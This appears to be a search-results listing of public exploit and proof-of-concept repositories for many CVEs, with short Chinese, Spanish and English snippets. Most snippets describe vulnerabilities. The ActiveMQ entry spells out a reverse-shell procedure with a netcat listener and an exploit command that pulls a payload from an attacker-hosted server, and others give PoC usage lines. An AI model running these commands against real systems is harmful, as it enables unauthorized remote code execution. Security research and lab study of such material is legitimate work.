302293 matches found
CVE-2023-46604
CVE-2023-46604 根据环境要求，构建包含受害者机器和目标机器两个镜像的 docker-compose 在受害者机器上，启动 ActiveMQ 切换到攻击机器： • 开启 HTTP 服务以发送 poc： python3 -m http.server • 使用 netcat 监听到攻击机器的连接： nc -nlvp 4444 • 发送创建反向 shell 连接到攻击机器的 payload： python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中：...
cve-2024-6387-poc
cve-2024-6387-poc OpenSSH 服务器 sshd 中的信号处理器竞态条件 7etsuo 描述 针对 CVE-2024-6387 的漏洞利用，该漏洞影响基于 glibc 的 Linux 系统上 OpenSSH 服务器 sshd 中的信号处理器竞态条件。由于 SIGALRM 处理器调用了异步信号不安全的函数，该漏洞允许以 root 权限远程执行代码。 漏洞利用详情 漏洞概述 该漏洞利用针对 OpenSSH sshd 中的 SIGALRM 处理器竞态条件： 受影响版本 ：OpenSSH 8.5p1 至 9.8p1。 利用方式 ：由于易受攻击的 SIGALRM...
cve-2021-29442-Nacos-Derby-rce-exp
简介 Nacos Derby命令执行漏洞利用脚本，默认使用User-Agent绕过漏洞进行利用 Nacos 是一款用于服务注册、发现和配置管理的开源平台。在其早期版本（≤2.4.0-BETA）中，Nacos 默认集成了 Apache Derby 作为嵌入式数据库。由于 Derby 数据库默认未设置访问控制，攻击者可以未经授权地访问特定接口，执行任意 SQL 语句，最终导致远程命令执行漏洞。 漏洞原理： 1. 未授权访问： 在默认配置下，Nacos 的 Derby 数据库接口未设置访问控制，允许任何人访问。 2. SQL 注入： 攻击者通过特定的 HTTP 请求，向 Nacos 的 Der...
SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2
Prueba de Penetración SMB - Explotando CVE-2007-2447 en Metasploitable-2 RedTeam-SMB-PenTest | ---|--- Descripción Este proyecto documenta mi compromiso de prueba de penetración como parte del curso CMIT 386 en UMGC. Se centra en explotar la vulnerabilidad usermapscript de Samba SMB CVE-2007-2447...
CVE-2019-16891-Liferay-deserialization-RCE
CVE-2019-16891-Liferay-deserialization-RCE...
CVE-2015-1635-POC
CVE-2015-1635-POC、MS15-034 HTTP.sys HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞 CVE-2015-1635-POC.py可指定IP/域名、端口进行漏洞验证 POC使用方法：python3 CVE-2015-1635-POC.py -i ip/domain -p port Usage: python3 CVE-2015-1635-POC.py options...
cve-2018-12798
Vulnerabilidad de Ejecución Remota de Código por Desbordamiento de Montón en Adobe Acrobat Reader Vulnerabilidad Vulnerabilidad de Restricción Incorrecta de Operaciones dentro de los Límites de un Búfer de Memoria Descripción de la Vulnerabilidad Esta vulnerabilidad permite a atacantes remotos...
CVE-2025-49113
CVE-2025-49113 Roundcube ≤ 1.6.10 RCE post-autenticación mediante deserialización de objetos PHP...
CVE-2024-32113-Exploit
Exploit CVE-2024-32113 Exploit de Path Traversal a RCE en Apache OFBiz. Descripción CVE-2024-32113 es una vulnerabilidad de Path Traversal que conduce a la ejecución remota de código RCE en Apache OFBiz. Vulnerabilidad : vulnerabilidad de limitación incorrecta de una ruta a un directorio...
CVE-2023-26852-Textpattern-v4.8.8-and-
CVE-2023-26852-Textpattern-v4.8.8 y versiones anteriores Textpattern v4.8.8 y versiones anteriores son vulnerables a una carga de archivos sin restricciones: contenido de archivo peligroso que conduce a la ejecución remota de código. Este es mi primer repositorio. No me golpeen si no explico...
Vvveb-CMS-CVE-2025-8518
Vvveb-CMS-CVE-2025-8518 Este repositorio contiene una Prueba de Concepto PoC que demuestra una vulnerabilidad crítica en givanz Vvveb 1.0.5. La vulnerabilidad permite a un usuario autenticado con privilegios de edición de plantillas escribir código PHP arbitrario en archivos del servidor, lo que...
SQLPad-6.10.0-Exploit-CVE-2022-0944
Exploit SQLPad 6.10.0 CVE-2022-0944 Este script en Bash explota una vulnerabilidad RCE en SQLPad 6.10.0, permitiendo a un atacante lograr ejecución remota de código RCE abusando de los campos host y database en la configuración de conexión MySQL de SQLPad. El exploit aprovecha el manejo no...
By-Poloss..-..CVE-2026-39938
CVE-2026-39938：Cacti "...
CVE-2025-55182
CVE-2025-55182 - React2Shell PoC CVE-2025-55182（CVSS 10.0）关键未认证远程代码执行漏洞的概念验证利用程序，影响 React Server Components。 致谢 发现者：Lachlan Davidson - 于2025年11月29日向 Meta/React 团队披露。 漏洞概述 该漏洞存在于 React Flight 协议的反序列化逻辑中。通过 HTTP POST 发送恶意负载，攻击者能够实现原型污染，进而导致在服务器上执行任意代码。 受影响版本 软件包| 受影响版本 ---|---...
RCE-Cacti-1.2.22
RCE-Cacti-1.2.22 Este es un código del exploit CVE-2022-46169, que recree utilizando Python3! Si por ahí estás haciendo una máquina de HTB, esto te puede ser útil... 🤞✨...
CVE-2024-38063-Medium
这是针对 CVE-2024-38063 的 PoC（不太稳定），是 tcpip.sys 中的 RCE，已于 2024 年 8 月 13 日修补。 要求 pip3 install scapy 用法 修改脚本中的字段： iface - 如果您有多个适配器，则必须选择用于发送数据包的适配器。例如，Linux 上的 "eth0" 或 Windows 上的 "Hyper-V Virtual Ethernet Adapter"。如果您将使用默认接口，请留空。 ipaddr - 目标系统的 IP 地址（IPv6） numtries & numbatches -...
CVE-2019-15107
Vulnerabilidad RCE en Webmin, herramienta de administración de servidores CVE-2019-15107 Resumen CVE-2019-15107 es una vulnerabilidad en Webmin, una herramienta de administración de sistemas basada en web utilizada en sistemas Unix. En el código que cambia las contraseñas de dicha herramienta, un...
CVE-2025-55182
CVE-2025-55182 Proof of concept exploit for CVE-2025-55182. When successful, it will emulate a shell on the remote target over HTTP-POST requests. Works with both HTTP and HTTPS, but skips any certificate checks. Only supports directory changes with absolute paths. How to use 1. Set up the...
CVE-2019-11224
Modero AMX Code Execution CVE-2019-11224 Este repositorio contiene algunas fuentes sobre CVE-2019–11224 https://link.medium.com/zukA0oCnV8 porque noté que el enlace ya no funciona en el sitio web oficial de NIST. Los dispositivos Modero AMX son esencialmente paneles táctiles para salas de...